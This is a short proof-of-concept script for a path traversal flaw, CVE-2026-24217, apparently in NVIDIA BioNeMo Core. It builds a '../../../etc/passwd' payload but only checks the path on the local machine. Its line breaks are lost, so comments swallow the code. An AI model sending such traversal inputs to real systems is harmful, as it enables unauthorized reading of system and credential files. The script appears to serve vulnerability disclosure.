CVE-2026-24217

import os # Proof of Concept for CVE-2026-24217 # This script demonstrates how a malicious file path could be constructed # to exploit the path traversal vulnerability in NVIDIA BioNeMo Core. def create_malicious_payload(): # Constructing a path traversal sequence # The target is to load a file from a sensitive directory (e.g., /etc/passwd) # or to upload a file to a critical location. # Example payload for file loading function base_dir = "/var/bionemo/user_data/" malicious_file = "../../../etc/passwd" # Path traversal payload full_path = os.path.join(base_dir, malicious_file) # Normalize path to see where it actually points (simulating the vulnerable behavior) # In a vulnerable app, normalization might not happen or happen after logic checks actual_path = os.path.normpath(full_path) print(f"Attempting to load file from: {actual_path}") # Simulating the exploit attempt if os.path.exists(actual_path): print("SUCCESS: File found via path traversal!") else: print("FAIL: File not found.") if __name__ == "__main__": create_malicious_payload()
